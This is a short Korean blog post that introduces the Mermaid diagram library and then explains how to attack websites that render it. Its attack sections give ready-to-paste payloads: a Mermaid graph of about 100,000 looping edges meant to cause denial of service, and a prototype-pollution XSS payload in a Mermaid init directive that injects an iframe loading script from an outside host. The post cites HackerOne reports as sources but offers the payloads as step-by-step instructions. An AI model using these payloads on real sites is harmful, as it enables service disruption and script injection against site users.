article thumbnail image
Published 2021. 10. 13. 18:00

1. Mermaid란?

diagram을 마치 마크다운처럼 편한 문법으로 그릴 수 있도록 해주는 tool이다.

 

 

예를 들어

<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>

<div class="mermaid"> 
  graph TD; A-->B; A-->C; B-->D; C-->D; 
</div>

이런식으로 찍히고

 

<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>

<div class="mermaid"> 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
</div>

이런식으로 response에 출력된다.

 

 

 

2. Mermaid로 DOS 공격하기

a. 우선 Mermaid가 작동되는 페이지를 찾는다. (HTML모드)

b. 다음과 같은 코드를 작성한다.

<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>

<div class="mermaid"> 
  graph TD;
  A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B
  -->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A
  -->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B
  -->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A
  -->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A... (대략 10만개)
</div>

 

 

 

 

3. Mermaid로 XSS 공격하기

XSS 공격을 하기에 앞서 prototype pollution 이라는 공격방식을 알아야하는데 아래 링크에 자세히 정리되어 있다.

https://mise.tistory.com/3

 

Prototype Pollution 이해하기 & 점검 사례

이 글은 아래 글을 번역한 후 이해를 바탕으로 작성한 글입니다. https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution NodeJS - __proto__ & prototype Pollution - HackTricks function (container, dep

mise.tistory.com

 

 

prototype pollution 취약점으로 3가지정도의 공격을 할 수 있다.

- 서비스 거부(DOS)
- XSS
- 원격 코드 실행

 

 

여기서는 XSS 하는 방법을 적어볼것이다.

 

1. 마찬가지로 Mermaid가 작동되는 페이지를 찾아야한다.

2. 다음과 같은 코드를 작성한다.

<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
 
<div class="mermaid"> 
%%{init: { '__proto__': {'template': '<iframe srcdoc=\"<script src=http://xss.rocks/scriptlet.html> </script>\">'}} }%%
sequenceDiagram
Ace->>Bob: Hi Bob
Bob->>Ace: Hi Ace
</div>

 

** iframe 대신에 <script>alert(1)</script> 써도 무방(가능하다면)

 


 

출처:

https://frhyme.github.io/mermaid/Embedding_mermaid_in_github_page/

https://hackerone.com/reports/470067

https://hackerone.com/reports/1106238

복사했습니다!